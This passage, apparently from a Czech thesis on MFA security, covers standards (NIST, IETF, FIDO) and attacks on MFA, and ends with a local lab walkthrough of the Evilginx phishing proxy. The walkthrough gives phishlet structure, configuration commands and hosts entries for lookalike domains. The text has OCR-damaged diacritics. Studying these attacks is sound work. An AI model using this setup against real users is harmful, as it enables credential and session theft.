registrovat vice kli¢i nebo spoléhat na jiné metody obnovy

Gt [45][48][53][54] [55]



2.4.6 Bezpecnostni zranitelnosti hardwarovych tokenii

Ackoli jsou hardwarové tokeny obecné povazovany za velmi bezpecné, nejsou zcela

imunni vici utokiim, zejména pokud ma uto¢nik fyzicky piistup k zatizeni:

utoky vyzadujici fyzicky ptistup: VEtSina znamych utokl na hardwarové tokeny

vyzaduje, aby utoc¢nik ziskal fyzickou kontrolu nad zatizenim.

utoky postrannimi kanaly: Piikladem je neddvno zvefejnénad zranitelnost
EUCLEAK. Tato zranitelnost byla nalezena v kryptografické knihovné firmy
Infineon, pouzivané v nékterych Cipech SLE78 nasazenych v populérnich
klicich YubiKey 5 Series s firmwarem star§im nez 5.7 a potencidlné i v dalSich
produktech napt. Infineon Optiga Trust M, TPM. Zranitelnost spociva v
nekonstantnim Case provadéni operace modularni inverze v implementaci
algoritmu Elliptic Curve Digital Signature Algorithm (déale jen ECDSA), ktery
je zakladem FIDO autentizace. Utoénik s fyzickym piistupem ke kligi,
specializovanym vybavenim pro meéfeni elektromagnetického vyzatovani
fadové minuty méteni a znalosti uctl cile a ptipadné¢ PINu klice nebo hesla k
uctu pro ziskdni credentiallD mlze pomoci analyzy postrannich kanali
extrahovat privatni ECDSA kli¢ ulozeny na zafizeni. To by teoreticky umoznilo
vytvotit funkéni klon kli¢e pro danou sluzbu. Je dtlezité zdiiraznit, ze tento titok
vyzaduje sofistikované prostredky a fyzicky pfistup, a neeliminuje odolnost
klice proti vzdalenym phishingovym utokiim. Yubico oznadilo zavaZznost jako
sttedni CVSS 4.9. Nové¢jsi verze firmwaru 5.7+ jiZ tuto knihovnu nepouzivaji,

ale starsi kli¢e nelze aktualizovat.

Dalsi reportované CVE: V databazich jako NIST NVD a v bezpecnostnich
upozornénich vyrobcl napt. Yubico lze nalézt i1 dalsi zranitelnosti tykajici se
hardwarovych tokenii nebo souvisejicitho softwaru napi. pam-u2f pro
Linux/macOS, konfigura¢ni slabiny OTP, potencialni Uniky informaci pfi
specifickych operacich, DoS zranitelnosti ve valida¢nich serverech. Tyto
zranitelnosti maji obvykle specificky kontext, dopad a vyzaduji konkrétni

podminky pro zneuziti.

Zranitelnosti Atestace: Funkce FIDO atestace umoziuje sluzbé ovétit vyrobce
a model pouzitého klice pomoci kryptografického fetézce divéry. Pokud

organizace spoléhd vyhradné na atestaci pro povoleni pouze urcitych modelt



kli¢a, zranitelnost jako EUCLEAK by teoreticky mohla Gtocnikovi umoznit
extrahovat atestacni kli¢ a vytvotit podvodny kli¢, ktery by prosel kontrolou

atestace pro postizené verze.

I kdyz FIDO klice ptredstavuji Spicku v odolnosti proti vzdalenym utoktim, nejsou
absolutné nezranitelné. Zranitelnosti jako EUCLEAK ukazuji, Ze i hardwarova bezpec¢nost
zavisi na kvalité kryptografickych implementaci a fyzické ochrané zatizeni. To podtrhuje
potiebu vrstvené bezpecnosti, véetné povédomi o fyzickych hrozbach a pouzivani zatizeni s

aktualnim firmwarem, pokud je to mozné.[56][57][58][59][60]



3 BEZPECNOSTNI STANDARDY A POZADAVKY NA SYSTEM S
MFA

Pro névrh, implementaci a hodnoceni bezpecnych MFA systémi existuje nékolik

klicovych standardli a smérnic od renomovanych organizaci.

3.1 Smérnice NIST SP 800-63

National Institute of Standards and Technology (dale jen NIST) Special Publication
(dale jen SP) 800-63, ,Digital Identity Guidelines®, je stézejnim dokumentem, ktery
poskytuje technické pozadavky pro federalni agentury USA implementujici sluzby digitalni
identity. Tyto smérnice jsou vSak Siroce uznavany a pouzivany jako referenc¢ni ramec jak v
soukromém sektoru, tak mezinarodn¢. Aktuadlné platna verze je SP 800-63-3 z roku 2017 s

aktualizacemi z roku 2020, piicemz probiha prace na revizi 4.
Sada SP 800-63 se sklada ze Ctyt svazki:
e SP 800-63: Hlavni dokument, ptehled ramce a fizeni rizik.

e SP 800-63A: Registrace a ovéfeni identity (Enroll and Identity Proofing — IAL

urovne)

e SP 800-63B: Autentizace a sprava Zivotniho cyklu (Authentication & Lifecycle

Management — AAL trovn¢)
e SP 800-63C: Federace a potvrzeni (Federation & Assertions — FAL trovng).

Pro MFA je nejrelevantnéjsi druhy svazek SP 800-63B. Tento dokument definuje tfi
urovné zajiSténi autentizatoru (Authenticator Assurance Levels — AALs), které specifikuji

rostouci pozadavky na silu autentizacnich mechanismui:

1. AALI1: Poskytuje urcitou jistotu, ze zadatel ovlada autentikator spojeny s uctem.
VyZaduje minimalné jednofaktorovou autentizaci, ale mize byt i vicefaktorova.
Povoluje Sirokou Skalu typt autentikatorti, véetné zapamatovanych tajemstvi, OTP
zatizeni, OOB zatizeni a zakladnich kryptografickych tokeni/softwaru. Nevyzaduje

odolnost proti phishingu ani hardwarovy autentikator.

2. AAL2: Poskytuje vysokou jistotu. Vyzaduje MFA s pouzitim dvou riznych faktort.
Musi byt pouzity schvalené kryptografické techniky pro alesponi jeden faktor a
alesponn jeden faktor musi byt odolny proti opakovanému pouziti tzv. replay

resistance. Komunikace musi probihat pfes zabezpeCeny kanal. Povoluje pouZiti



vicefaktorovych autentikatort napt. MF OTP, MF krypto software/zatizeni nebo
kombinaci dvou jednofaktorovych, kde jednim musi byt zapamatované tajemstvi a
druhym faktor zalozeny na drzeni napt. OTP zafizeni, OOB, krypto
zafizeni/software. Odolnost proti phishingu tzv. verifier impersonation resistence je

doporucena. Nevyzaduje hardwarovy autentikator.

3. AALZ3: Poskytuje velmi vysokou jistotu. Vyzaduje MFA zaloZzenou na prokazéani
drzeni klice pomoci kryptografického protokolu. Klicovym pozadavkem je pouziti
hardwarového kryptografického autentikatoru validovaného dle FIPS 140 Level 2
celkové, s Level 3 fyzickou bezpecnosti pro vicefaktorové zatizeni a odolnost proti
phishingu tzv. verifier impersonation resistance. Vyzaduje dva rtzné faktory
prokazané pres zabezpeceny protokol. Jsou povoleny pouze specifické kombinace
autentikatorli, typicky zahrnujici hardwarové kryptografické zatizeni jedno nebo
vicefaktorové v kombinaci s dal$im faktorem napf. zapamatované tajemstvi nebo
hardwarové OTP. Verifikator musi byt také odolny proti kompromitaci verifier

compromise resistence alespon pro jeden faktor a validovan dle FIPS 140 Level 1.

Dulezité je, ze NIST SP 800-63-3 explicitné omezuje pouziti SMS/PSTN OTP pro AAL2 a

zakazuje pro AAL3 a odstranil moznost pouziti email OTP pro jakoukoli uroven AAL.

Standardy jako NIST SP 800-63 se vyvijeji v reakci na ménici se hrozby a technologie.

To zdaraziuje potiebu neustalého sledovani a prizpisobovani MFA strategii.[38][44][61]



Requirement AAL1 AAL2 AAL3
* Any AAL2 or AAL3 + Any AAL3 authenticator
authenticator * MF out-of-band
Permitted » Password « MF OTP + MF cryptograph_ic
. + Look-up secret + Password plus: + SF cryptographic
Authenticator Types + Qut-of-band * Look-up secret plus password
+ SF OTP * Out-of-band
+ SF cryptographic * SF OTP

FIPS 140 Validation

Level 1
(Government agency verifiers)

Level 1 (Government agency
authenticators and verifiers)

+ Level 3 physical security
+ Level 2 overall

(MF cryptographic)

» Level 1 overall

(verifiers and
SF cryptographic)

Reauthentication

30 days overall

24 hours overall
1 hour inactivity

12 hours overall
15 minutes of inactivity

Recommended;

Phishing Resistance Not required must be available Required
Replay Resistance Not required Required Required
Authentication Intent Not required Recommended Required

Obrazek 10: Souhrn pozadavki podle AAL

(zdroj:

3.2 Standardy IETF

Internet Engineering Task Force (dale jen IETF) definuje zékladni protokoly a formaty,

[38])

které jsou Casto vyuzivany v autentizacnich systémech:

e OTP Standardy:

o RFC 4226: Definuje HMAC-based One-Time Password (HOTP) algoritmus,
ktery generuje jednordazova hesla na zakladé sdileného tajemstvi a citace

udalosti.
o RFC 6238: Definuje Time-based One-Time Password (TOTP) algoritmus,
roz§iteni HOTP, které jako pohyblivy faktor pouziva casovy krok (typicky

30 nebo 60 sekund) misto Citace. Toto je zdklad pro vétSinu populdrnich

softwarovych autentiza¢nich aplikaci.

e Autentiza¢ni Ramce:

o SASL (Simple Authentication and Security Layer): RFC 4422 (a starsi RFC
2222) definuje framework pro ptidani autentizace do spojovanych protokolt
(napt. SMTP, IMAP, LDAP). Umoznuje vyjednani a pouziti riznych

autentizacnich mechanismi  (napt. PLAIN, LOGIN, CRAM-MDS5,

GSSAPI/Kerberos, OTP, EXTERNAL) mezi klientem a serverem.




o OAuth 2.0: RFC 6749 a RFC 6750 definuji autoriza¢ni framework, ktery se
Casto pouzivd jako zdklad pro autentizacni protokoly, jako je OpenlD

Connect. Samotny OAuth 2.0 je primarn¢ pro autorizaci, nikoli autentizaci.

o OpenlD Connect: Vrstva identity postavena na OAuth 2.0, kterda umoziuje
klientim (RP) ovéfit identitu koncového uZzivatele na zaklad¢ autentizace
provedené autorizacnim serverem (OpenlD Provider — OP) a ziskat zakladni

profilové informace.
e Authentication Method References (AMR):

o RFC 8176: Definuje registr a pocatecni sadu hodnot pro AMR, které se
pouzivaji v rdmci protokolil jako OpenID Connect v amr claimu ID Tokenu
k signalizaci toho, jaké metody byly pouzity pii autentizaci uzivatele napf.
pwd pro heslo, otp pro jednorazové heslo, mfa pro vicefaktorovou
autentizaci, hwk pro hardwarovy klic, ftp pro otisk prstu, face pro oblicej. To
umoznuje spoléhajici se strané Iépe posoudit silu a kontext provedené

autentizace.

e Dalsi Relevantni RFC: Existuji i dalsi relevantni RFC, napf. pro Extensible
Authentication Protocol (déle jen EAP) a jeho varianty jako EAP-TLS RFC 9190,
nebo pro kryptografickou autentizaci v sitovych protokolech napt. IS-IS — RFC
5310.[35][62][63][64][65]

3.3 Specifikace a certifikace FIDO Alliance

FIDO alliance je primyslové konsorcium zaméfené na vyvoj a prosazovani
otevienych, interoperabilnich standardl pro silngj$i a jednodussi autentizaci s cilem

snizit celosveétovou zavislost na heslech.

e Klicove specifikace: Jak bylo zminéno v sekci 2.4.3. Hlavni sady specifikaci
jsou:

o FIDO U2F nyni CTAPI: pro silny druhy faktor.

o FIDO UAF: zaméteny na bezheslovou autentizaci, ¢asto s vyuzitim

biometrie na mobilnich zafizenich.

o FIDO2 (WebAuthn + CTAP): Komplexni sada standard( pro

bezheslovou, 2FA a MFA autentizaci napfic¢ platformami a prohliZeci.



Certifikaéni programy: FIDO Alliance provozuje dulezité certifikacni
programy, které zajistuji, ze produkty jako autentikdtory a servery spliuji
technické specifikace, jsou interoperabilni a dosahuji ur€ité urovné bezpecnosti
a kvality. To zahrnuje funkéni certifikaci, certifikaci bezpecnostnich trovni
autentikatort a certifikaci biometrickych komponent. Certifikace dava

organizacim divéru pfi vybéru a nasazovani FIDO feSeni.

Soulad s Jinymi Standardy: FIDO feSeni, zejména ta vyuzivajici hardwarové
klice a kryptografii, mohou pomoci splnit pozadavky vyssich trovni AAL podle
NIST SP 800-63 zejména AAL2 a AAL3 diky odolnosti proti phishingu. FIDO
také aktivné tesi soulad s regulacemi jako GDPR a silna autentizace zakaznika

v platebnich sluzbach (dale jen PSD2).

Zatimco IETF definuje zékladni stavebni bloky/protokoly, NIST poskytuje ramec

pro hodnoceni rizik a urovni zajisténi, FIDO se zaméfuje na konkrétni, interoperabilni

implementace fesici klicové problémy hesel, bezpecnost a pouzitelnost. Tyto standardy se

vzajemné dopliuji a Casto se pouzivaji spolecné.[43][44][51][66]

3.4 Navrh a poZzadavky na bezpecnostni systém s MFA

Na zakladé¢ standardi a zndmych hrozeb lze formulovat klicové pozadavky pro navrh

a implementaci bezpecnych MFA systémii:

l.

Nezavislost Faktor: Pouzité faktory musi byt skutecné nezavislé, tj.
kompromitace jednoho faktoru nesmi vést ke kompromitaci ostatnich. Napf.
heslo a OTP kod generovany z tajemstvi odvozeného z tohoto hesla by nebyly

nezavislé.

Odolnost Proti Phishingu: Pro pfistup k citlivym datim nebo pro privilegované
ucty by mély byt upfednostiovany nebo vyzadovadny metody odolné proti

phishingu FIDO/PKI. Toto je v souladu s doporu¢enimi NIST, CISA a ENISA.

Bezpecné Autentikatory: Pouzivat ovéfené a certifikované autentikatory FIDO
certifikace, FIPS 140 validace pro AAL3. Zajistit bezpe¢né ulozeni a spravu

tajemstvi OTP seedt, privatnich klict, idedln€ v hardwarovych modulech.

Zabezpecené Protokoly: Veskera autentizatni komunikace mezi zadatelem a
ovetovatelem musi probihat pies zabezpeceny/Sifrovany a autentizovany kanal

napi. TLS.



5. Prevence Opakovaného Pouziti: Implementovat mechanismy zabrafnujici
utonikim v opakovaném pouziti zachycenych autentizacnich dat napft.

jednorazové kody, nonces, Casova razitka, Citace.

6. Robustni Obnova: Navrhnout bezpecné procesy pro obnovu uctu a MFA

faktorti, které samy vyzaduji silné ovéteni a neumoziuji snadné obejiti MFA.

7. Pouzitelnost: Zohlednit uzivatelskou zkuSenost pti vybéru a implementaci MFA
metod, aby se podpoiilo jejich pfijeti a spravné pouzivani. Poskytnout jasné

instrukce a podporu.

8. Logovani a Monitorovani: Implementovat detailni a bezpe¢né logovani vsech
relevantnich autentiza¢nich udalosti napt. pokusy o pfihlaseni, uspéchy, selhant,
pouzité faktory, zmény v registraci MFA, chyby pro tcely auditu, detekce

anomalii a reakce na incidenty.

Koncept ,,0dolnosti proti phishingu® se stava ustfednim pozadavkem modernich standardt
a doporuceni, coz efektivné rozdéluje MFA na dvé kategorie: odolné a neodolné proti
phishingu. Tento posun je piimou reakci na dominanci phishingovych a MiTM

Gtoki.[32][381[46][53][54][67]



4 UTOKY CILENE NA MFA

Navzdory své efektivit¢ pii zvySovani bezpecnosti neni MFA neproniknutelnou
bariérou. Utoénici vyvinuli fadu technik, jak obejit riizné formy MFA, ¢asto zneuzZitim slabin

v implementaci, zavislosti na méné bezpecnych kanélech nebo lidském faktoru.

4.1 Man in the middle

Phishing zGstava jednou z nejrozsitenéjSich metod pro ziskani pocatecniho ptistupu, a
to i v prostiedich s MFA. Utok man-in-the-middle (déle jen MiTM) nebo také adversary-in-
the-middle (dale jen AiTM) spociva vtom, ze se uto¢nik postavi proxy server do
komunika¢niho kandlu mezi uzivatelem a legitimni sluzbou a tajné ptfenasi a piipadné
upravuje komunikaci. Utoénik naldka ob&t’ na phishingovy web, ktery je podobny realné
sluzbé. Po zadani ptihlasovacich tidajti na phishingovy web je uto¢nik preda skute¢né sluzbé
a vysledné potvrzeni ptedlozi zpét uzivateli. Uzivatel nic nepoznd, nebot’ vidi Gspésné
prihlageni, ale uto¢nik mezitim ziska napf. platny autentiza¢ni session cookie. Utoénik pak
muze tento ukradeny session cookie pouzit ve svém vlastnim prohlizeci k pfistupu k Gctu
obéti, aniz by musel znovu zadévat heslo nebo prochazet MFA, protoze cookie jiz obsahuje

potvrzeni o uspésné MFA autentizaci.

Vyvoj a dostupnost nastroji jako Evilginx, EvilProxy, Modlishka, Muraena, Caffeine,
NakedPages nebo Tycoon 2FA vyrazné usnadnily provadéni AiTM utokl. Tyto nastroje,
Casto nabizené jako Phishing-as-a-Service (dale jen PhaaS), automatizuji nastaveni
reverzniho proxy, klonovani ptihlaSovacich stranek a zachytavani udaju a session cookies,
¢imz snizuji technickou néaro¢nost uUtoku. Tycoon 2FA navic implementuje techniky

obfuskace a dynamického generovani kodu pro obchdzeni detekce.

Uspé&sny AiTM ttok umoziuje Gtoénikovi plné pievzit kontrolu nad uétem obéti po
dobu platnosti session cookie. To mize vést k vaznym nasledkiim, jako jsou utoky typu
Business Email Compromise (dale jen BEC), kradeze citlivych dat, financni podvody nebo
dalsi Sifeni v siti organizace.

Nejlepsi obranou proti MiTM/AITM utokim je pouziti autentizaCnich mechanismd,
které v sobé integruji kontrolu koncového serveru. Zde vynikaji hardwarové klice a
certifikaty vyuzivajici protokol WebAuthn, ktery zahrnuje ovéteni domény, kdy podepise
vyzvu jen pokud odpovida registrované doméné. Dale vzd€lavani uzivatell, aby rozpoznali

phishing link, kontrolovali adresni fadek prohlizece.[32][68][69][70][71]



4.2 Utoky SIM Swapping

SIM swapping nebo SIM hijacking je utok zaméteny specificky na MFA metody, které
vyuzivaji telefonni ¢islo uZivatele pro doru¢eni druhého faktoru. Utoénikova motivace je
ziskat kontrolu nad telefonnim cislem, aby mohl piijimat SMS 2FA nebo ovétovacich
hovorti, ptipadné reset hesla u sluzeb, které posilaji koéd na telefon. Postup tutoku je
nasledujici:

1. Utoénik si nejprve zjisti &islo obéti a nasledné shroméazdi osobni udaje obéti
Casto pomoci socidlniho inzenyrstvi, phishingu, z uniklych databazi nebo
vetejnych zdrojii jako socialni sité. Nasledné kontaktuje mobilniho operatora
obéti a pomoci socidlniho inzenyrstvi, kdy se vydava za obé&t’, kterd ztratila nebo
poskodila SIM kartu a pottebuje telefonni ¢islo pfevézt na novou SIM kartu,
kterou ma to¢nik pod kontrolou. K ovéfeni identity zneuzije ziskané osobni
udaje napt. odpovéd’ na bezpecnostni otazky, na které jsou odpovéedi

dohledatelné na facebooku.

2. V nékterych ptipadech uto¢nici ptimo uplaceji nebo infikuji zaméstnance
operatora, aby jim ¢islo ptevedl. FBI uvadi, ze kromé socidlniho inzenyrstvi se
zlo€inci uchyluji 1 k uplaceni pracovniki operatorti ¢i phishingu zaméfenému
pfimo na né.

3. Jakmile uto¢nik Uspésné provede SIM swap, zacne pfijimat vSechny SMS
zpravy a hovory ur¢ené pro obét’, véetné MFA OTP koda a kodt pro obnovu
hesla. To uto¢nikovi umoziuje dokoncit proces ptihlaseni nebo obnovy hesla a
ptevzit kontroly nad online Gty obé&ti napt. bankovnictvim, e-mailu, socialnich
siti, kryptoménové penéZenky. Obét’ mezitim ztrati mobilni signal a nemlzZe
uskutecnovat ani piijimat hovory nebo SMS. Dokud ma uto¢nik kontrolu nad

Cislem, miize obejit jakékoliv overeni, které spoléhd na telefon obéti.

4.2.1 Mitigace a ochrana

Utoky SIM swapping jsou reportovany jiz nékolik let a byly pouzity i znamymi
skupinami jako Lapsus$. Mitigace zahrnuji posileni ovéfovacich procesi u mobilnich
operatort pii zadosti o vymeénu SIM napft. nové regulace FCC v USA, §koleni zamé&stnanct
operatort, a predev§im nepouzivani SMS/hlasu jako MFA faktoru tam, kde je to mozné.

Uzivatelé by méli byt ostraziti vici pokusim o ziskani osobnich Udaji a okamzité



kontaktovat operatora a poskytovatele sluzeb, pokud ztrati mobilni signal bez zjevného
divodu. Uzivatelé by si méli u svého operatora nastavit dodateéné oveérovaci PINy nebo
hesla pro zménu sluzeb. Utoénik pak pii socialnim inZenyrstvi narazi na dalsi prekazku.
Kritické ucty chranit jinym MFA, nez je SMS a jiny zpisob resetu hesla misto
telefonu.[72][73][74][75]

4.3 Zranitelnosti autentiza¢nich tokenu

Autentiza¢ni tokeny, at’ uz softwarové nebo hardwarové obecné poskytuji vyssi miru

zabezpeceni, i ony mohou mit své slabiny, kter¢ 1ze zneuzit.

4.3.1 Softwarové autentikatory

Mnoho autentizacnich aplikaci nabizi moZnost zalohovat nebo synchronizace OTP
tajemstvi do cloudu. Pokud tyhle zalohy nejsou dostatecné Sifrovany nebo pokud je
kompromitovan ucet, ke kterému jsou zalohy vazany napt. Google ucet, Apple ID, Gto¢nik
muze ziskat pfistup k tajemstvim a efektivné klonovat autentikator. Nekteré studie ukazaly

vazné zranitelnosti v zalohovacich mechanismech popularnich aplikaci.

Pokud je telefon nebo pocitac, na kterém bézi autentizacni aplikace, infikovan
malwarem, utocnik muze potencialné ukrast ulozend OTP tajemstvi z paméti aplikace,
zachytavat generované¢ OTP kody nebo dokonce manipulovat s aplikaci. Bezpecnost

softwarového tokenu je pfimo zdvisld na celkové bezpecnosti hostitelského zatizeni.

V oficialnich obchodech s aplikacemi Google Play, Apple App Store se mohou objevit
podvodné aplikace, které se vydavaji za legitimni autentikdtory napi. Microsoft
Authenticator, Google Authenticator. Tyto faleSné aplikace mohou krést zadana tajemstvi,
zobrazovat reklamy nebo vyZadovat nesmyslné poplatky, pficemz nemusi poskytovat
zadnou skute¢nou autentizacni funkci. UZivatelé mohou byt snadno zmateni a nainstalovat

nespravnou aplikaci.

Byly reportovany konkrétni zranitelnosti v nékterych autentizacnich aplikacich nebo
pluginech, které mohou vést k tiniku informaci, obejiti autorizace nebo jinym bezpec¢nostnim
problémim napi. CVE-2024-45394 v Authenticator browser extension umoziuje fyzickému
utocnikovi se za urcitych okolnosti dostat k tajnym kli¢hm pouZivanym pro generovani
jednorazovych kodit TOTP/HOTP, coz by mohlo vést k obejiti druhého faktoru autentizace.
CVE-2022-44589 v miniOrange Google Authenticator WordPress pluginu, kde dochézelo k

nedostate¢né ochrané proti moznosti tto¢nikovi zménit nastaveni pluginu bez védomi obéti



a potencialn¢ tim oslabit autentizacni mechanismus. Kromé& toho bylo upozornéno na riziko
zachyceni obrazovky v mobilni aplikaci SAP Authenticator, kdy v nékterych verzich nebylo
zabranéno  pofizovani  snimkdi  obrazovky  obsahujicich citlivé  autentizacni

daje.[45][73][76][77]

4.3.2 Hardwarové Tokeny

Nejzjevnéjsi riziko je fyzicka kradez nebo ztrata. Pokud utocnik ziska fyzicky pristup
ke kli¢i, miize se pokusit jej pouzit nebo analyzovat.
Jak jsem popisoval v kapitole piiklad EUCLEAK 2.2.5, 1 hardwarové tokeny mohou

obsahovat zranitelnosti v implementaci kryptografickych algoritmid nebo v samotném

firmwaru. Tyto zranitelnosti mohou vést az k extrakci privatnich kli¢t a klonovani zatizeni.



I PRAKTICKA CAST



5 MITM SIMULACE POMOCI EVILGINX

Evilginx predstavuje pokrocily utocny framework typu adversary-in-the-middle
(AiTM), Casto oznaCovany také jako man-in-the-middle (MitM). Jeho hlavnim ucelem je
umoznit sofistikované phishingové utoky zaméfené na obchazeni vicefaktorové autentizace

(MFA), a to i u modernich cloudovych sluzeb.

5.1 Definice a funkcionalita Evilginx

Zakladni princip fungovani Evilginx spociva v roli reverzni proxy. Tento proxy server
se umistuje mezi obét’ a legitimni cilovou webovou sluzbu napt. Microsoft 365, Google,
Github. Na rozdil od tradi¢nich phishingovych nastroji, které prezentuji statickou
podvrzenou ptihlaSovaci stranku, Evilginx zprostiedkovava realny provoz mezi uzivatelem

a cilovou sluzbou v redlném case.

UZivatel pracuje s plnohodnotnym webovym rozhranim, které se vizualné i funkéné
shoduje s origindlem. Komunikace vSak prochdzi skrze uto¢niklv server, coz umoziiuje

transparentni zachyceni autentiza¢niho procesu.

Dutvéryhodnost stranky je zajiSténa pouzitim TLS certifikdtu — casto automaticky
ziskaného ptes certifikacni autoritu Let's Encrypt. Diky tomu je spojeni oznaceno jako
zabezpecené (HTTPS) a v adresnim tadku prohlizeCe se zobrazuje ikona zdmku, ¢imz se

zvysuje iluze legitimity.

5.2 Zachyceni autentiza¢nich tokenu

Utok zac¢ina dorucenim phishingové navnady (tzv. lure), typicky formou e-mailu nebo
SMS zpravy s odkazem vedoucim na doménu kontrolovanou uto¢nikem, kde bézi Evilginx.
Po presmérovani a zadani piihlasovacich tidaju je cely autentizacni proces — véetné druhého

faktoru — proxyovan mezi obéti a cilovou sluzbou.

Evilginx nejen zachyti primarni pfihlaSovaci Udaje, ale také zprostiedkuje a uloZzi
autentizacni tokeny nebo session cookies vydané po uspéSném piihlaSeni. Tyto artefakty
uto¢nikovi umoziuji ptistup k cilovému Gctu bez nutnosti opétovného ovéieni. Konfigurace

Evilginx pro lokélni testovani.



5.3 Phishlet

Phishlety jsou kliCcovou soucasti frameworku Evilginx, kterd umoznuje jeho

prizptsobeni pro konkrétni cilové webové sluzby.

Phishlety se typicky nachdzeji v adresaii ~/.evilginx/phishlets/ nebo v alternativni
vlastni cesté, napt. ~/evil/evilginx2/phishlets/. Kazdy phishlet je samostatny soubor ve

formatu .yaml.

~/evil/evilginx2/phishlets’

example.yaml fb.yaml github.yaml ig.yaml moodle.yaml outlook.yaml

Obrazek 11 Umisténi phishlets
(zdroj: vlastni)
5.3.1 Definice a acel phishleti

Phishlet je konfiguraéni soubor ve formatu YAML, ktery definuje, jak ma Evilginx
zprostiedkovavat (proxyovat) provoz pro specifickou cilovou webovou stranku nebo sluzbu.
Kazdy phishlet je navrzen pro konkrétni cil, napt. Microsoft 365, Okta, Google, LinkedIn,
GitHub, PayPal apod. Tyto soubory instruuji Evilginx, které domény a subdomény ma
proxyovat, jak ma provadét piepisovani URL adres a obsahu, které cookies nebo tokeny
predstavuji platnou uzivatelskou relaci (session) a jak ma zachytavat ptihlaSovaci udaje.

5.3.2 Struktura phishlety

Podle oficidlni dokumentace Evilginx obsahuje phishlet obvykle nasledujici klicové

sekce:
1. Header — Obsahuje obecné informace o phishletu
e Author — Autor phishletu.
e Min_ver — Minimdlni verzi Evilginx, se kterou je phishlet kompatibilni.

e Redirect url — Vychozi URL pro presmérovani po Uspe€Sném zachyceni tokend,

pokud neni specifikovano jinak.
2. Params — Umoznuje definovat parametry, které 1ze pouzit k pfizpisobeni phishletu.
e Name — Nazev parametru.

e Default — Vychozi hodnota parametru.



e Required — Urcuje, zda je parametr povinny.

Proxy hosts — Definuje domény a subdomény, které ma Evilginx proxyovat.
e Phish sub — Subdoména pouzivana v phishingové doméng.

e Origin_sub — Pivodni subdoména legitimni sluzby.

e Domain — Doména legitimni sluzby.

e Session — Urcuje, zda se od tohoto hostitele ocekavaji session cookies.

e [s landing — Urcuje, zda mize byt tato subdoména pouzita jako vstupni bod pro

phishingovy odkaz.

e Auto_filter — Pokud je nastaveno na true, Evilginx se pokusi automaticky generovat

pravidla pro substituci.

Sub_filters — Definuje pravidla pro nahrazovani fetézct nebo regularnich vyrazi v ramci

proxyovaného obsahu.

e Triggers on — Hostitel, na kterém se ma filtr aplikovat.

e Orig sub — Plivodni subdoména.

e Domain — Doména legitimni sluzby.

e Search — Retézec nebo regularni vyraz, ktery ma byt nahrazen.

e Replace — Retézec, kterym se ma nahradit.

e  Mimes — Seznam MIME typ, na které se ma filtr aplikovat.

e Force post — Volitelny kli¢ pro vynucené prepsani v POST datech.

e Force get— Volitelny kli¢ vynucujici pfepsani v GET URL parametrech.

Auth tokens — Specifikuje nazvy cookies nebo hodnoty v HTTP hlavi¢kéach, které

reprezentuji autentizacni tokeny relace a maji byt zachyceny.

e Domain — Doména, pro kterou se maji tokeny zachytavat.

e Keys — Seznam nazvii cookies nebo hlavicek, které predstavuji autentizacni tokeny.
Credentials — Definuje, jak zachytit uZivatelské jméno a heslo.

e Key — Ndazev parametru v pozadavku.



e Search — Regularni vyraz pro extrakci hodnoty.
e Type — Typ pozadavku napt. post, get, json.

7. Js_inject — Umoziuje vlozit vlastni JavaScriptovy kod do proxyovanych stranek.
e Trigger — Hostitel, na kterém se ma skript injektovat.

e Script — JavaScriptovy kod k injektovani.

~/evil/evilginx2/phishlets
github.yaml
H ibleblink"’
.0'

orig_sub: "github’', doma

1: 'github.com', orig_sub: '', domain: "github.com",

Obrazek 12 Struktura phishlety

(zdroj: viastni)
5.4 Lokalni preklad domén a konfigurace sité

Pro spravné fungovani Evilginx v lokalnim prostfedi je nezbytné zajistit, aby sitové
pozadavky na cilovou (fiktivni) doménu a jeji subdomény byly smérovany na lokalni

instanci bezici na IP adrese 127.0.0.1. Tohoto cile se dosahuje kombinaci konfigurace

domény v Evilginx a Gpravou systémového souboru hosts.

5.4.1 Nastaveni IP adresy a domény

V konzoli Evilginx se nejprve nastavi doména, kterou bude phishingové stranka
napodobovat, napt. github.com, a IP adresa, na které ma server naslouchat — v ptipadée

lokalniho testovani se pouzije 127.0.0.1:
config domain github.com

config ipv4 127.0.0.1



Timto zplisobem je urceno, ze Evilginx bude obsluhovat provoz smétujici na doménu
github.com prostfednictvim lokalni IP adresy a zvolenych portd (443 pro HTTPS a 53 pro
DNS).

config

_ hab.com
127.0.0.1

X
)

-
https://www.youtube.com/watch?v=dQwiwowgXcQ
on

false

Obrazek 13 Config evilginx
(zdroj: vlastni)
5.4.2 Ziskani seznamu domén a subdomén

Pted pouzitim konkrétniho phishletu je mozné zobrazit seznam vSech dostupnych

phishleti pomoci piikazu

phishlets

phishlets

phishlet status visibility hostname unauth_url

Obrézek 14 Seznam phishletil v evilginx

(zdroj: vlastni)

Timto ptikazem se vypiSe ptehled vSech phishletd dostupnych v adresati phishlets/,

véetné jejich stavu enabled/disabled. Konkrétni phishlet se aktivuje pfikazem



phishlets enable <nazev phishletu>.

phishlets enable github
[@65:56:02] [ ] enabled phishlet 'github’
phishlets

phishlet status visibility hostname unauth_url

Obrazek 15 Ukazka spusténého phishletu
(zdroj: vlastni)

Kazdy phishlet v Evilginx definuje, jaké domény a subdomény se budou pouzivat k
proxyovani obsahu cilové sluzby. Aby bylo mozné tyto domény spravné presmérovat, nabizi

Evilginx ptikaz:
phishlets get-hosts <nazev phishletu>

Tento piikaz zobrazi seznam vSech domén, které je nutné presmérovat do lokalni

instance, v€etn€ subdomén, jako napft. api.github.com ¢i github.github.com.
phishlets get-hosts github

githab.com

api.githab.com
github.githab.com

Obrazek 16 Ziskané domény
(zdroj: vlastni)
5.4.3 Uprava souboru hosts

Ziskané zadznamy je nutné pridat do systémového souboru hosts, ktery slouzi k
pfimému mapovani doménovych jmen na IP adresy a ptepisuje bézné DNS dotazy. Tim se
zajisti, Ze pii zadani github.com v prohliZze¢i nebude dotaz odeslan na vetejné DNS servery,

ale bude pfesmérovan na localhost.



V systémech Linux a macOS se soubor nachazi na cesté: /etc/hosts. Ve Windows pak

na: C:\Windows\System32\drivers\etc\hosts

Pro jeho upravu jsou vyzadovéana administratorskd opravnéni. Vlozenim domén ze
seznamu do tohoto souboru se zajisti, ze prohlize¢ komunikuje vyhradné s lokalni instanci
Evilginx.

etc/hosts
localhost
kali
outlook.uotlook.com login.uotlook.com account.uotlook.com
githab.com api.githab.com github.githab.com
moodle.utb.modle.cz shibboleth.utb.modle.cz
www . fejsbook.cz m.fejsbook.cz static.fejsbook.cz

1

1

+1 we .instagarm.com m.instagarm.com

